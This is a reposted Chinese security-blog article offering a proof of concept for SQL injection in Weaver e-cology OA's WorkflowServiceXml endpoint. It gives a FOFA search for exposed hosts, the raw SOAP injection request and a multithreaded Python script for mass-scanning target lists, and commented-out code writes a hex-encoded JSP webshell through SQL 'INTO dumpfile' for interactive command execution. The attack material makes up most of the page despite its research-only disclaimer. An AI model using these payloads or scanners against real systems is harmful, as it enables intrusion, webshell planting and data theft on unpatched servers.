泛微SQL注入 泛微OA-E-Cology WorkflowServiceXml SQL注入 PoC

admin 2024年11月12日20:11:49评论37 views字数 9663阅读32分12秒阅读模式
 

漏洞复现‍‍‍‍‍

fofa查询语句:

app="泛微-OA(e-cology)"

利用脚本进行检测:‍‍‍‍‍

泛微SQL注入 泛微OA-E-Cology WorkflowServiceXml SQL注入 PoC

手工复现:

泛微SQL注入 泛微OA-E-Cology WorkflowServiceXml SQL注入 PoC

 POC及批量检测脚本

POST /services/WorkflowServiceXml HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.1913.45 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Content-Length: 489
 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/>
  <soapenv:Body>
      <web:getHendledWorkflowRequestList>
        <web:in0>1</web:in0>
        <web:in1>1</web:in1>
        <web:in2>1</web:in2>
        <web:in3>1</web:in3>
        <web:in4>
            <web:string>1=1 AND 5615=5615</web:string>
        </web:in4>
      </web:getHendledWorkflowRequestList>
  </soapenv:Body>
</soapenv:Envelope>

批量脚本

import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
import os
# from datetime import datetime
# current_year = datetime.now().year
# current_month = datetime.now().strftime('%m')
# year_month = f'{current_year}'+f'{current_month}'
 
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url_list = []
file_name = '泛微OA-E-Cology WorkflowServiceXml SQL注入'
# fofa:app="泛微-OA(e-cology)"
def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
 
    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua
 
 
proxies = {'http': 'http://127.0.0.1:8080',
           'https': 'http://127.0.0.1:8080'}
 
 
def wirte_targets(vurl, file_name):
    with open(file_name, "a+") as f:
        f.write(vurl + "\n")
 
 
def check_file(filename):
    print('-------------------------------------------')
    file_path = f'{file_name}_vuln.txt'
    if os.path.isfile(file_path):
        print('存在漏洞的url如下~~~')
        with open(file_path, 'r') as file:
            lines = file.readlines()
            for line in lines:
                print(f'\033[32m{line.strip()}\033[0m')
        math_url = str(len(lines))
        print('存在漏洞url:{}个'.format(math_url))
    else:
        print('未发现漏洞!!!!')
    print('-------------------------------------------')
 
 
def check_vuln(url):
    url = parse.urlparse(url)
    url1 = url.scheme + '://' + url.netloc
    # path = '''?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^ abc.}===={.?n.}'''
    # path1 = '''?n=%0A&cmd=cat /etc/passwd+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^ abc.}===={.?n.}'''
    vuln_url = f'{url[0]}://{url[1]}/services/WorkflowServiceXml'
    # vuln_url1 = f'{url[0]}://{url[1]}/only_test.jsp'
    headers = {
        'User-Agent': get_ua(),
        'Content-Type': 'text/xml',
        # 'Connection': 'close',
        # 'Cache-Control': 'max-age=0',
        'Accept-Encoding': 'gzip',
        # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        # 'Accept-Language': 'zh-CN,zh;q=0.9',
    }
    # headers1 = {
    #     'User-Agent': get_ua(),
        # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        # 'Accept-Encoding': 'gzip, deflate',
        # 'Connection': 'keep-alive',
    # }
    # headers2 = {
    #     'User-Agent': get_ua(),
    #     'Content-Type': 'text/xml;charset=UTF-8',
    #     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    #     'Accept-Encoding': 'gzip, deflate, br',
    #     'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    #     'Upgrade-Insecure-Requests': '1',
    #     'Priority': 'u=1',
    #     'SOAPAction': 'http://tempuri.org/GetConnectionString',
    #     'Connection': 'close',
    # }
 
    data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/>
  <soapenv:Body>
      <web:getHendledWorkflowRequestList>
        <web:in0>1</web:in0>
        <web:in1>1</web:in1>
        <web:in2>1</web:in2>
        <web:in3>1</web:in3>
        <web:in4>
            <web:string>1=1 AND 5615=5615</web:string>
        </web:in4>
      </web:getHendledWorkflowRequestList>
  </soapenv:Body>
</soapenv:Envelope>'''
 
    try :
        res = requests.post(url=vuln_url, headers=headers, data=data, allow_redirects=False, timeout=15, verify=False,proxies=proxies)
        # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, verify=False,proxies=proxies)  #
        # res_time = res.elapsed.total_seconds()
        # cookie = res.cookies['zentaosid']
        # headers1 = {
        #     'User-Agent': get_ua(),
        #     'Accept-Encoding': 'gzip, deflate br',
        #     'Connection': 'close',
        #     'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        #     'Cookie': f'zentaosid={cookie}',
        # }
        # res1 = requests.post(url=vuln_url1, headers=headers1, data=data, allow_redirects=False, timeout=15, verify=False)
        # x_state_value = res.headers.get('X-State')
        # print(x_state_value)
 
        if res.status_code == 200 and 'requestName' in res.text:# res_time >= 5
            # url_path = re.findall(r'url\":\"(.*?)"', res.text, re.DOTALL)[0]
            # if res1.status_code == 200 and 'only_test' in res.text:
            # cleaned_url_path = url_path.replace("\\", "")
            # vuln_url1 = f'{url[0]}://{url[1]}{cleaned_url_path}'
            # print(vuln_url1)
            # res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15, verify=False)
            # if res1.status_code == 200 and 'nologin' in res1.text:
            print('\033[32m[+]{}\033[0m'.format(vuln_url))  # 延迟:{}秒  ,,
            wirte_targets(vuln_url, f"{file_name}_vuln.txt")  #
        # elif res1.status_code == 200 and 'nologin' in res1.text:
        #     print('\033[32m[+]{}   Linux\033[0m'.format(vuln_url1))  # 延迟:{}秒  ,,
        #     wirte_targets(vuln_url1 + '   Linux', f"{file_name}_vuln.txt")  #
            # pwd = re.findall(r'password: \'(.*?)\'', res.text, re.DOTALL)[0]
            # data1 = f'''<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
            #    <soap:Header/>
            #    <soap:Body>
            #       <tem:GetToken>
            #          <!--type: string-->
            #          <tem:endId>{code}</tem:endId>
            #       </tem:GetToken>
            #    </soap:Body>
            # </soap:Envelope>'''
            # res1 = requests.post(url=vuln_url, headers=headers1, data=data1, allow_redirects=False, timeout=15, verify=False)
            # user_id = re.findall(r'User Id=(.*?);', res2.text, re.DOTALL)[0]
            # password = re.findall(r'Password=(.*?);', res2.text, re.DOTALL)[0]
            # return 1
            # else:
            #     print("\033[33m[-]{} not vulnerable. {}\033[0m".format(url1, res1.status_code))
        else:
            print("\033[34m[-]{} not vulnerable. {}\033[0m".format(url1, res.status_code))
    except Exception as e:
        print("\033[31m[!]{} is timeout\033[0m".format(url1))
#
# def cmdshell(url):
#     # 先执行poc
#     if check_vuln(url) == 1:
#         url = parse.urlparse(url)
#         url1 = url.scheme + '://' + url.netloc
#         # 死循环模拟交互式shell
#         while 1:
#             cmd = input("\033[35mshell: \033[0m")
#             vuln_url = f'{url[0]}://{url[1]}/point_manage/merge'
#             vuln_url1 = f'{url[0]}://{url[1]}/only_test.jsp?cmd={cmd}'
#             # 如果输入exit就退出shell
#             if cmd == "exit":
#                 sys.exit(0)
#             else:
#                 try:
#                     # zuo = '{'
#                     # you = '}'
#                     headers = {
#                         'User-Agent': get_ua(),
#                         'Content-Type': 'application/x-www-form-urlencoded',
#                         'Accept': '*/*',
#                         'Accept-Encoding': 'gzip, deflate',
#                         # 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
#                         'Connection': 'close',
#                     }
#                     headers1 = {
#                         'User-Agent': get_ua(),
#                         # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
#                         # 'Connection': 'close',
#                         # 'Content-Type': 'application/x-www-form-urlencoded',
#                     }
#
#                     # zuo = '{'
#                     # you = '}'
#                     data = f'''id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e742061203d202d313b627974655b5d2062203d206e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e,NULL,NULL,NULL,NULL,NULL,NULL
# INTO dumpfile '../../tomcat/webapps/gpsweb/only_test.jsp' FROM user_session a
# WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8'''
#                     # <?php echo shell_exec("dir"); ?>
#
#                     res = requests.post(url=vuln_url, headers=headers, data=data, allow_redirects=False, timeout=15, verify=False)
#                     res1 = requests.get(url=vuln_url1, headers=headers1, allow_redirects=False, timeout=15,
#                                         verify=False)  #
#                     # poc部分给的有解释
#                     if res.status_code == 200 and 'OK' in res.text:
#                         if res1.status_code == 200:
#                             rsp_command = re.findall(r'pre>(.*?)\n</', res1.text, re.DOTALL)[0]
#                             if len(rsp_command) != 0:
#                                 print("\033[32m{}\033[0m".format(rsp_command))
#                             else:
#                                 print("\033[31m[-]{} request flase! {}\033[0m".format(url1, res.text))
#                     else:
#                         print("\033[31m[-]{} request flase! {}\033[0m".format(url1, res.text))
#                 except Exception as e:
#                     print("\033[31m[-]{} is timeout!\033[0m".format(url1))
 
def multithreading(url_list, pools=5):
    works = []
    for i in url_list:
        works.append(i)
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(check_vuln, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()
 
 
if __name__ == '__main__':
    print(f"\n{file_name}\n                         ——————by hyuya~\n"
          f"                            ——————知识星球:大自然的nday搬运库(石占)")
 
    arg = ArgumentParser(description=f'{file_name}')
    arg.add_argument("-u",
                     "--url",
                     help="Target URL; Example:http://ip:port")
    arg.add_argument("-f",
                     "--file",
                     help="Target URL; Example:url.txt")
    # arg.add_argument("-c",
    #                  "--cmd",
    #                  help="command; Example:python3 xxx.py -c http://ip:port")
    args = arg.parse_args()
    url = args.url
    filename = args.file
    start = time()
    # cmd = args.cmd
    print('[*]任务开始...')
    # print('[*]webshell使用冰蝎3连接,密码:rebeyond')
    if url != None and filename == None:  # and cmd==None
        check_vuln(url)
        check_file(f'{file_name}_vuln.txt')
    elif url == None and filename != None:  # and cmd==None
        for i in open(filename):
            i = i.replace('\n', '')
            url_list.append(i)
        multithreading(url_list, 10)
    end = time()
    print('任务完成,用时%d' % (end - start))
    check_file(f'{file_name}_vuln.txt')
    # elif url == None and cmd != None and filename == None:
    #     cmdshell(cmd)

 

原文始发于微信公众号(Undoubted Security):【漏洞分享】泛微SQL注入 泛微OA-E-Cology WorkflowServiceXml SQL注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日20:11:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微SQL注入 泛微OA-E-Cology WorkflowServiceXml SQL注入 PoChttps://cn-sec.com/archives/3388658.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息